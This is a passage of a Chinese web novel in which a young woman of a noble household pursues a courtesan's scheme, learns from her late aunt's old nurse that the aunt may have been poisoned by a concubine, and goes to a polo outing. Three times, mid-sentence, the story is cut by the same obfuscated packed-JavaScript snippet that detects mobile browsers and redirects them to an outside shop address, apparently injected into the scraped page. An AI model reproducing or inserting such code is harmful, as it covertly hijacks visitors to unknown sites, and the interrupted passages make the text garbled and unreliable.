她暗自警惕三分,将帷帽前方的帘子拉好,低着头疾步走出大门。 上了马车,拂月问:“小姐,有头绪吗?” 乔絮晚道:“她那个弟弟或许可以盘查盘查,但……该怎么找到人呢?” 找到之后,又该如何盘问? 啧。 乔絮晚拧紧了眉头,一路沉默。 * 回到国公府,已近未时。 乔絮晚略微梳洗打扮,赶紧赶忙去了墨斋听课。 就在踏入墨斋院子的那一刻,一阵清幽的桃香刹那涌入鼻腔肺腑,她抬头一看,却见是院子里的山桃树开花了。 那山桃远远望去,浅粉中掺着白,颜色清丽浅淡,甚是养眼。 乔絮晚不免驻足多看了一会,侧首对拂月说:“等傍晚放了课,咱们摘些桃花回去做点心吧?” 拂月欢喜道:“好啊好啊!” 两人一边赏着花一边进了屋子。 今日钱嬷嬷教的是琴,这次乔絮晚没再抗拒,乖顺地听课,背谱,弹琴,从头至尾未有一声怨言,遇到不懂的地方也会礼貌地开口询问,令钱嬷嬷的态度对她的态度益发慈蔼。 然而到了晚间,她回到卧房,却是长叹着趴在了床上。 “怎么办怎么办怎么办……” 她脑袋埋在枕头里嘟囔着。 “什么怎么办啊小姐?”拂月在床沿一边整理衣服一边问道。 乔絮晚闷闷地说:“还能有什么?湘竹那点事呗。” 拂月蹙了眉,劝道:“小姐,依我看,这事儿本就不该咱们姑娘家来办。若是小姐嫁了人,那还能拜托姑爷一二,可您云英未嫁的,又是跑青楼又得找外男,这、这像什么话?要不您就直接告诉大公子算了,凭大公子的手腕,什么办不成啊?” 乔絮晚更加郁闷:“我倒也想让阿兄去处理了呢,可我都答应阿泽不会告诉阿兄,现在食言……” 拂月也是愁容满面。 乔絮晚咸鱼一样在床上趴了会,突然一个鲤鱼打挺坐了起来:“对了!” 拂月吓得一激灵,磕巴道:“什、什么对了?” 乔絮晚抓住她的手,眸中闪光:“再有两天就要去参加林三娘子办的游会了,俞妈妈说裴小公爷点过湘竹,湘竹既然能盯上阿泽,那肯定也没放过裴小公爷,说不定他能知道些什么!” 拂月呆愣几秒,跺脚道:“不行啊小姐!那裴小公爷……那个名声,您要是私下单独找他,万一被人发现再传出什么闲话可怎么办?况且您与他又不熟,小公爷可否愿意帮忙还两说……欸!要不您找席公子吧?” “席公子?席霖之?”乔絮晚一懵。 “是啊!您之前不是有意与他结交嘛,正好可以借此拉近一下关系,看看他人品如何,愿不愿意出手帮您。” 乔絮晚有些犹豫:“可他也马上要参加春闱,会不会……” 拂月道:“您不告诉他实情就好了嘛。再者说,要是席公子没能中榜还拉人下水,那不正说明他不是个值得托付的人吗?” “……”乔絮晚抱着枕头,踌躇再三,点点头:“你说得有道理,那就——” “姑娘,大公子来了。” 玉檀忽而敲门喊道。 26. 蠢蛋 乔絮晚怔了下,和拂月面面相觑。 大晚上的他来干嘛? 乔絮晚拢好衣服,喊道:“进来吧。” 尚未脱下一身绯红官袍的谢骅涧走了进来,一眼就对上她略显呆愣的神情。 谢骅涧勾了勾唇角,一面拂开帘子一面笑道:“你这是什么表情?学了几天礼仪,给脑子学傻了?” “你才傻了呢。”乔絮晚摸摸鼻子,问他:“你才回来吗,怎么连衣服都没换?” 谢骅涧不客气地坐在床沿,道:“是啊,最近比较忙,回来的晚了些。” “忙什么呀?” “川云台那边的赌坊有人闹出事了,牵连颇广,处理起来有些棘手。” 谢骅涧并不与她多说这些不入耳的东西,转开话题道:“过两天就是游会了,我今天特去问了林二公子游会情况,他说三娘子最爱看打马球,这次的游会大片场地也是用来打马球的。我记得你小时候我教过你怎么打,要不要重温一下,到时候上场跟别人一起玩?” 谢骅涧决计是要被拉上场打球的,乔絮晚猜测,他估计是怕自己离开之后她会孤单,又或者遭人欺负,才提出这么个意见。 不过打马球的话,说不定能跟裴澈或者席霖之接触到,那时再问些什么说些什么也算方便…… 乔絮晚道:“可以是可以,但我怕我打不动……”她看看自己过于细弱的胳膊,微蹙起眉,“我现在身体还没有小时候好,估计挥不了几次球杆就得累趴下。” 她忧愁地叹了口气。 谢骅涧垂眸睨着她纤薄的手和肩,沉默不语。 乔絮晚刚来的时候,尽管眉宇间常有愁色,但也算健康活泼。 后来慕芷兰殁了,她哭了许久,也随之大病一场,病好后,身体日渐衰弱下去,隔三五天便会生出些小毛病。 以致变成如今这瘦弱的模样。 谢骅涧静了静,笑着安慰道:“没事,我给你找一匹温顺的小母马,你慢慢打即可。” 乔絮晚点点头:“好,那我明后天晚上——” 她话音一顿,猛然想起自己明晚还要去南华书院找谢骅泽。 “……” 谢骅涧见她突然止了话头,面色僵硬,不由得问道:“怎么了?” 乔絮晚调整了下表情,干笑道:“没,就是觉得……两天晚上时间可能不够用,要不、要不我明天跟钱姑姑告个假,白日跟你一起打马球吧?” 谢骅涧倒是无所谓:“行,随你。” 他说完这些,起身欲走,却忽而被乔絮晚一把拉住:“等等!” 谢骅涧回头:“?” 乔絮晚微抿了唇,拉他坐下,“那个……我想起来,好像下月末就要科考了?” 谢骅涧道:“是啊,怎么?” “没、没怎么,我是在想,阿泽也不知准备得如何了,他一个人住在书院那边,万一偷懒耍滑什么的……” “没考上也无妨,下次再努力就是。”谢骅涧并不严苛,很是松弛道:“阿泽本就爱玩,脑子也不灵光,他就是尽力学了,第一年也不一定能考上,没人会责怪他。” 乔絮晚:“……哈哈,也是。” 谢骅涧稍稍扬眉,静等她下一句。 乔絮晚无措地绞了绞手帕,讪笑道:“我再没别的事啦,对了,今天墨斋的山桃花开得好,我拾了一些做糕点,等后天带去游会,咱们一起吃。” “好。” 谢骅涧显见愉悦地略弯起眉眼,起身走了出去。 吱呀一声,门被关上。 乔絮晚与拂月对视一眼,双双无奈地塌了肩。 * 翌日晚,乔絮晚再度来到谢骅泽的宅子。 谢骅泽急急忙忙地跑出来问:“阿姐,如何了?” 乔絮晚道:“湘竹那个弟弟你见过吗?” 谢骅泽一愣,茫然道:“没见过。” “那湘竹跟你说过他在哪个码头干活吗?” “好像……也没说过……” “……” 乔絮晚长叹一口气。 谢骅泽道:“姐,你问她弟弟做甚?” 听到他这个问题,乔絮晚一时间竟有些怀疑他是否真的和谢骅涧是亲兄弟。 不然怎么会差距这么大?! 她使劲敲了下谢骅泽的脑袋瓜子,磨着后槽牙道:“你的书真是读进狗肚子里了,‘围魏救赵’听说过没?同样的道理,你从湘竹这边没法下手,那就绕开她,从她亲近的人身上找破绽,她这个弟弟我去打听了,吃喝嫖赌无所作为,这种人最是好拿捏,况且那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678523|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俞……我、我问的那个人还隐瞒了他们姐弟俩感情是好是坏,这里面肯定有问题。” 谢骅泽愣愣地点头:“哦,原来如此。” 傻得让乔絮晚忍不住翻了白眼。 她道:“你能不能查出来她那个弟弟姓甚名谁?在哪干活?平日又经常在哪里出没?” 谢骅泽呆呆道:“怎么查啊?” 乔絮晚:“……” 没指望。 她本想着要不让谢骅泽自己去游会找裴澈问问也行,但看他这个样子,怕是对方还没说几句,自个儿就先把家底都交代出去了。 不省心的玩意。 她双手拢进袖子,疲惫道:“算了,你回去睡觉吧,剩下的事……听我安排。” “欸,好嘞。” 谢骅泽转身跑回去了。 望着他渐渐远去的背影,乔絮晚捏了捏眉心,回身上了马车。 “走吧。”她对车夫道。 行了一段路,因无聊看向窗外景色的拂月忽然指着某处道:“小姐,那边是相国寺吗?” 乔絮晚顺着她指的方向看去,只见一座宽阔的寺庙立在山腰。 “好像是……” 相国寺听说是在南华书院附近,不过她从没来过,不太确定。 乔絮晚想了想,道:“前面应该有石碑,咱们过去看看。如果是的话,等阿泽的事办完,我抽空去那里给姨母烧香祈福。” 车夫依言调转方向。 前方依稀可见一座高高矗立石碑,只是天太黑,隔着一段距离实在看不清。 乔絮晚让车夫牵着马在路边等她,自己下了车前去确认。 “还真的是!” 看着石碑上镌刻的“相国寺”三个字,乔絮晚略有些惊喜。 她转头想跟拂月说说之后打算,却见她盯着不远处某个地方,脸色惨白。 乔絮晚心中一突,立刻看向她视线所在—— 幽暗的深林间,一个腰背佝偻的老妇人正躲在一棵树后,静静地望着她们。 “……” “……” 乔絮晚只觉浑身冰凉。 她握住拂月同样冰冷汗湿的手,退了几步。 可那老夫人竟直直追了上来! “啊啊啊啊!!!!” 27. 奶妈 “啊啊啊啊!!!” 乔絮晚几乎要被吓没了魂儿,转身想跑,却腿一软,歪倒在地上。 “小姐!小姐快起来啊小姐!”拂月自己也不太能跑得动,手脚直发颤,但她依旧努力拖拽着乔絮晚。 乔絮晚哆嗦着:“救……救……” “晚姐儿——!” 背后的老妇人突然凄凉地高喊。 乔絮晚一怔,愣愣地转头,看向她。 月光下,依稀能辨认出老妇人佝偻的腰背,散乱的发髻,以及一身脏旧衣裙。 只是那容颜有些太过沧桑,只能从深深的皱纹中勉强分别出几分熟悉的轮廓。 “……郑……妈妈?”她小心翼翼地唤道。 郑惜柳停在她面前,听到这一声,竟是流下两行清泪:“晚姐儿……是我啊……” 乔絮晚木楞半天,颤颤巍巍地从地上爬起来,靠近她,面上满是不可思议:“郑妈妈……怎么会是你?你不是回江南老家了吗?怎么……” 郑惜柳是慕芷兰的奶妈,五年前慕芷兰去世,她也紧随着辞别谢府,回了丹阳颐养天年。 ——当年乔絮晚听说的是这样,不过如今看来,并不真切。 郑惜柳半弯着腰,似是想握住她的手,但又怕自己身上的脏污沾染了她,于是谨小慎微地站在原地,沙哑道:“我从来没回过什么老家……我一直藏在这,在这等您、等大公子。” “为什么?”乔絮晚下意识追问,心脏却因不安而剧烈跳动。 “——发生何事了表姑娘?”远处遥遥传来马车夫的喊声。 郑惜柳望了眼赶过来的马车夫,抹干了眼泪小声道:“姐儿,咱们换个地方说话。” 乔絮晚神情一肃,转头对车夫道:“先别过来!” 车夫愣了愣,依言停下。 “我这边……有点事,你且回马车上等着,我很快就过去。” 车夫不放心道:“可是这天这么黑,万一姑娘出什么事,小的实在担不起责……” 乔絮晚咬了咬唇,坚持道:“我并不走远,你要是不放心,就在那等吧。” 车夫便站在原地不动了。 顾及着外人可能听到,郑惜柳也管不上什么干净不干净,直接握上乔絮晚的手腕将她带到一棵古树后—— “晚姐儿,我接下来说的话,您估计不会信,”郑惜柳犹豫再三,坚定道:“其实我一直怀疑,当年大娘子的死是方鹭笙干的,与她脱不了干系!” 乔絮晚登时浑身发冷,脸上血色褪得一干二净。 “当年大娘子卧病在床,后院的事大多由方鹭笙一手包办,包括、包括大娘子药物的采买也是!” 郑惜柳盯着她收缩的瞳孔,面色焦急:“我亲眼见到给大娘子看病的郎中跟方鹭笙有过交谈,但我去问那个郎中,他却说,方小娘只是问大娘子病况如何,并无其他。” “我不信,可又找不出证据,只好放任那郎中离开,结果最后……最后……最后眼睁睁看着大娘子……”她没能说完后半句话,痛哭起来。 乔絮晚呆怔地听着,双目无神,半晌才颤抖地问:“姨母当年病死……是方小娘害的……?” 郑惜柳愤恨道:“绝对是她下的黑手!不然为何大娘子一死,她就借着各种由头把我们这些伺候在身侧的人一个接一个的赶走了?!甚至还派人一直盯着我的行踪!我好不容易甩掉了那些跟着我的人,一直躲在这里,就是盼着哪天姑娘或者公子能路过这里,也好让我还娘子个公道!” “……” 消息来得太过突然,乔絮晚一时不知该作何反应。 她颓靡地靠着树干,轻声道:“妈妈,您为何……为何不去找我阿兄?若是教他知道这事,他必定能——” 郑惜柳道:“姑娘,我找过!可我离开谢家之后压根无处打听哥儿的行踪,那皇城司更不是我这种人能靠近的地方!我也想过去公堂击鼓鸣冤,可我什么证据都没有,到了公堂上也只能任由方小娘信口雌黄颠倒是非!” “相国寺是这京城里最出名的寺庙,我猜测姑娘还有哥儿或许有一天会来这里给娘子祈福,我就躲在寺庙一角,每逢娘子祭日前后,就守在这里等你们。……苍天不负有心人,总算……总算让我遇着姐儿了啊!” 她泣不成声。 乔絮晚醒过神来,安抚她道:“妈妈,你别哭,姨母的事……我会替您查清楚!”她眸色渐冷,“倘若真是那方小娘所为,我也必然不会放过她!” 郑惜柳微愣,随后欣慰地看着她。 乔絮晚稍作思索,沉着道:“妈妈,我现下还有些事要处理,您先回相国寺歇息着,等我几天,我会再来找您。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730172|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说罢,她又拿出一包银两塞进郑惜柳手里,“这些您且用着。” 郑惜柳刚要拒绝,被她摁住了手,坚持道:“这个时候您就莫要推拒了。” 郑惜柳只好点头收下,趁着夜色返回山上庙宇。 待佝偻的背影消失后,在一边听了全程的拂月面色惨白:“小……小姐……那咱们、咱们现在……” “现在先回家。”乔絮晚转身走向马车,掏出手帕擦掉手腕和衣袖上留下的脏黑指印,“若是回去晚了,怕是会惹人怀疑。” 十年的事,要查起来并不容易。 需得慢慢来。 拂月忙不迭跟她回了马车。 这一路土径起伏不平,拂月踌躇半晌,还是纠结着问:“小姐,您觉得方小娘的事,是真的吗?” 乔絮晚冷肃道:“大概,是真的。” 彼时她才十一岁,晓事不多,但她记得自己见过赵嬷嬷跟采买药物的人交头接耳。 送进府上的药,怕是有大问题…… “如果真是方小娘干的,小姐打算如何?” “……” 乔絮晚默然良久,道:“自然是血债血偿。” * 回到国公府,乔絮晚一边完成钱嬷嬷布置的课业,一边思考何时将这件事告诉谢骅涧。 阿兄要是知道了姨母是被方鹭笙害死的,会如何做? 唔……以他的脾气,应该会当众跟方鹭笙翻脸吧? 要是闹到那种地步,姨丈和祖母又会是什么反应? 不对。 祖母不可能对方鹭笙的所作所为一点都不知晓,她大抵是在暗中辅助着压下了这事。 乔絮晚霍然想起,当年慕芷兰刚去世不久,谢凌就升迁为吏部尚书。 那么要紧的时候,不管家中出什么事,李音都绝对会包庇和隐瞒。 是他们一同害了姨母。 乔絮晚握笔的手收紧,用力之大,指腹几乎失去血色。 眼看这字是写不下去了,她索性放下笔,继续深思。 姨母的事暂时不能告诉阿兄。 即便没凭没据的,只要她说了,谢骅涧就肯定会信,届时决计会跟谢府闹翻。 她得用个更迂回的方法,让谢骅涧就算当众杀了方小娘报仇也师出有名。 乔絮晚暗自筹谋。 28. 游会 游会这天,乔絮晚坐着马车,跟谢骅涧一齐到场。 初春的郊外绿草茵茵,树冠尚未繁茂,但也彰显着蓬勃生机,为各家设置的坐席呈环状围绕中间宽阔的场地,已有人在其中挥着球杆策马奔腾,亦或三三两两结伴在四周聊天闲逛。 在侍女的带领下,乔絮晚拎着食盒跟在谢骅涧身后,一同走向谢家专席。她跪坐在蒲团上,拿出食盒中尚且隐隐冒着热气的桃花糕摆在桌面。 “我做之前特意请教过钱嬷嬷,她教了我一些秘诀,你尝尝味道如何。”她期待地看着谢骅涧。 谢骅涧笑着吃了一块,夸赞道:“不错,清甜不腻,还有些茶香,很好吃。” 乔絮晚笑靥明媚。 穿过广袤的草地,她转眸看向场地主座位置,林三娘子林祈坐在正中间,左手侧是她的儿子沈辞,右手侧是她二哥的儿子林子归。 说起这位林三娘子,在京城倒是蛮出名的。 她二十岁那年因夫家小妾恃宠而骄、以下犯上,她将之惩处之后与夫君关系更差,索性选择了和离,带着膝下独子回了娘家,至今未再嫁。 远远望去,那三娘子面容高傲英气,身姿挺拔如松,一看便知是个不好相与的人物。 但乔絮晚打算与她接触接触。 因为,她听说这位三娘子曾对谢凌明确表达过倾慕之意。 这件事流传颇广,可能也是因此才导致她婚后生活不大愉快。 虽然这样不怎么厚道,可乔絮晚想试着撮合一下林祈和谢凌。 原因有三:一则,林祈与谢凌年岁身份相适,足以做谢府的大娘子,且作风强硬、手段狠辣,和温雅贤淑的慕芷兰不同,若是让她对上方鹭笙,方鹭笙绝对不会有什么好下场; 二则,林祈的大姐姐林素是慕家慕止岸的妻子,若是自己能借这段姻缘与林祈乃至林家交好,那她回慕家之后,想必日子也不会过于艰难; 最后…… 乔絮晚侧眸瞥了眼身旁正观赏马球赛的谢骅涧。 朝堂上的事她不太懂,但她知道林祈的儿子沈辞在大理寺任职,李音又说过希望谢骅涧调任到大理寺;那是不是说明,如果她能在其中牵个线,让阿兄跟沈辞认识一下,对他的仕途也有一点好处? 唔…… 这方面的事有点难为到她了,于是紧皱着小脸静静思考。 “想什么呢?” 她听到谢骅涧突然问。 乔絮晚回过神,不甚自然地对他讪笑:“没、没什么呀……” 在想怎么让你爹二婚。她默默道。 谢骅涧在皇城司待了四年,一眼就能看出她在撒谎,心里不禁起了点好奇。 他仔细回忆乔絮晚这些天的日常举动,越琢磨越觉得不对劲,于是道:“青暮跟我说,他前几天晚上看到你出门了,天那么黑你出门干嘛?” 乔絮晚脸色一僵,心念电转:“这不是最近一直在墨斋学礼仪嘛,每天一坐就是好长时间,我觉得身子骨不爽利,就出去……出去按跷了!” 临时想到这个东西,她觉得自己机灵极了。 盯着她那乱瞟的眼神,谢骅涧压根不信什么狗屁的按跷,勾唇追问:“是吗?那你去的哪家,下次我也去试试。” 乔絮晚:“……” 她怎么知道哪里能按跷?! 默然少顷,她摸摸鼻尖,以袖掩口支吾着说:“我、我也是偶然路过那家店的,就去了一两次,不记得在哪里、叫什么名字了……” 越说,声音越弱,到最后几乎细弱如蚊。 谢骅涧拖着长音“哦”了一声,道:“这样啊,好可惜。” 乔絮晚没从他的语气里听出多少可惜的意思,暗暗窥他一眼,表情貌似也没多遗憾。 她不免有些坐立不安,干脆起身道:“啊,我看到慕姐姐她们了,我去跟她们道歉。” 说罢,急匆匆地跑走。 谢骅涧望着她略显心虚的背影,沉思不语。 “——慕姐姐林姐姐!” 走在前方的二人回头一看,却见是手捧食盒的乔絮晚追了上来。 慕流筝和林照月对视一眼,笑着问道:“乔妹妹,你也来了呀?” 乔絮晚道:“我在家里待着闷,就央着表兄带我一起来玩了。”她微微喘了几口气平复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733418|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸,低着头,歉疚地说:“上次在画舫,是妹妹失礼了,想来给二位姐姐道个歉,毁了姐姐们玩乐的心情,实在对不住。” 慕流筝闻言,朝她来的方向悄悄瞥了一眼,随后不动声色道:“不打紧的乔妹妹,又不是什么大事,不必这般内疚。” “是啊表姑娘,”林照月也附和道:“当时也是令小侯女性子太直,只顾自己开心,不曾考虑妹妹初来乍到,爱玩什么不爱玩什么,这才闹了不愉快,表姑娘可千万别往心里去。” “谢谢姐姐宽容。”乔絮晚将手中食盒递出去,笑盈盈道:“这是妹妹此番过来前特地做的糕点,请姐姐们品尝!” 两人向里面看了看,见是形状精美的桃花糕。 林照月道了声谢,拿起一块吃了,慕流筝则是再度往谢骅涧那边瞧了一眼,才心不在焉地接过糕点。 待两人咽下桃花糕后,乔絮晚问:“姐姐们一会要上场打马球吗?我看很多人都去了。” 慕流筝摇摇头:“我不喜这类太激烈的运动,也不太会骑马,就不上去了。” 林照月骄傲道:“我要上去,我打马球可是相当厉害的!” “真的吗!”乔絮晚期待地问:“那我可以和姐姐组队打吗?我在家里学过如何打马球,不会拖后腿的!” 林照月蛮不在乎:“可以啊,那等下场多人赛,你就跟我一起上场吧。” 乔絮晚笑着道“好”。 ——林照月这个人,不难相处。 跟两人辞别,乔絮晚眺望赛场,不出意料看到了正在跑马的席霖之。 他一袭劲装,肩背绑着襻膊,骑在一匹枣红宝马上绕着场地跑圈,即便隔了老远的距离也不难看出他面上兴奋。 某个瞬间,乔絮晚仿佛透过他的身影幻视到谢骅泽。 同样是世家公子,同样排行第二,兄长是高居金銮殿的大相公,自己却不求上进,游手好闲。 快要科考的人了,一个跟歌妓纵情享乐闹出身孕,一个四处游玩寻欢作乐,完全不知学习为何物。 唉。 谢骅涧或许说得对,她确实该提高下看人的眼光了……